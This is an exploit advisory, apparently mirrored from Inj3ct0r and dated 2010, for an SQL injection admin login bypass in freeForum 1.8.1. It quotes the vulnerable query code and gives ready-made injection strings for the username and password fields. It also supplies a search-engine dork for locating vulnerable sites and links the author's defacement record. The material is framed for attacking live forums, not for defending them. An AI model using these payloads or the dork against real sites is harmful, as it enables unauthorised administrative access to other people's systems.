Home / exploitsPDF  

freeForum <= 1.8.1 Sql Injection Admin Login ByPass

Posted on 25 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>freeForum &lt;= 1.8.1 Sql Injection Admin Login ByPass</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=================================================== freeForum &lt;= 1.8.1 Sql Injection Admin Login ByPass =================================================== +-------------------------------------------------------------------------------------------------------------------------------+ | _______ __ ______ | | | | |.--.--.| |--..-----. | |.----..-----..--.--.--. | | | || | || &lt; | -__| | ---|| _|| -__|| | | | | | |__|____||_____||__|__||_____| |______||__| |_____||________| | +-------------------------------------------------------------------------------------------------------------------------------+ | Name: freeForum &lt;= 1.8.1 Sql Injection Admin Login ByPass | | Software: freeForum &lt;= 1.8.1 | | Site: http://soft.zoneo.net/ | | Download: http://soft.zoneo.net/freeForum/Files/get.php?freeforum-1.8.1.zip | | Vulnerability: Sql Injection Admin Login ByPass | | Severity: medium ( low / medium / high ) | | Tested on: 1.8.1 | | Dork: &quot;Forum powered by FreeForum&quot; | | Requires: magic_quotes_gpc = Off | +-------------------------------------------------------------------------------------------------------------------------------+ | Author: Lord-Anubis | | Contact: lord.anu bis4[at]gm ail[dot]com | | Date: 23.06.2010 ( dd.mm.yyyy ) | | Site: http://lordanubis.altervista.org/ | | Defaces: http://www.zone-h.org/archive/notifier=Lord-Anubis | | Exploits: http://inj3ct0r.com/author/2486 | +-------------------------------------------------------------------------------------------------------------------------------+ | Bug File: save_profile.php | | 170. if ($_POST['login'] == &quot;Login&quot;) { | | 171. $comanda = &quot;SELECT * FROM ${tablename}_username WHERE username='&quot;.$_POST['username'].&quot;' AND | | 171. password=password('&quot;.$_POST['password'].&quot;')&quot;; | +-------------------------------------------------------------------------------------------------------------------------------+ | Bug Explanation: | | - EN: in the file forum.php in the form for the authentication as admin, the fields POST username and password are | | not controlled. Consequently if the magic_quotes_gpcare are set up on OFF in the php.ini, it's possible login | | without knowing the data, with an SQL Injection attack. | | Example: | | POST Username: ' OR ''=' | | POST Password: ') OR (''=' | | //////////////////////////////////////////////////////////////////////////////////////////////////////////////////// | | - ITA: Nel file forum.php nel form per l'autenticazione come Amministratore, non vengono controllati i campi POST | | username e password. Di conseguenza se le magic_quotes_gpc sono impostate a Off nel php.ini, è possibile | | autenticarsi senza conoscere i dati con un attacco di tipo SQL Injection. | | Esempio: | | POST Username: ' OR ''=' | | POST Password: ') OR (''=' | | //////////////////////////////////////////////////////////////////////////////////////////////////////////////////// | | - PL: ... | +-------------------------------------------------------------------------------------------------------------------------------+ # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-25]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP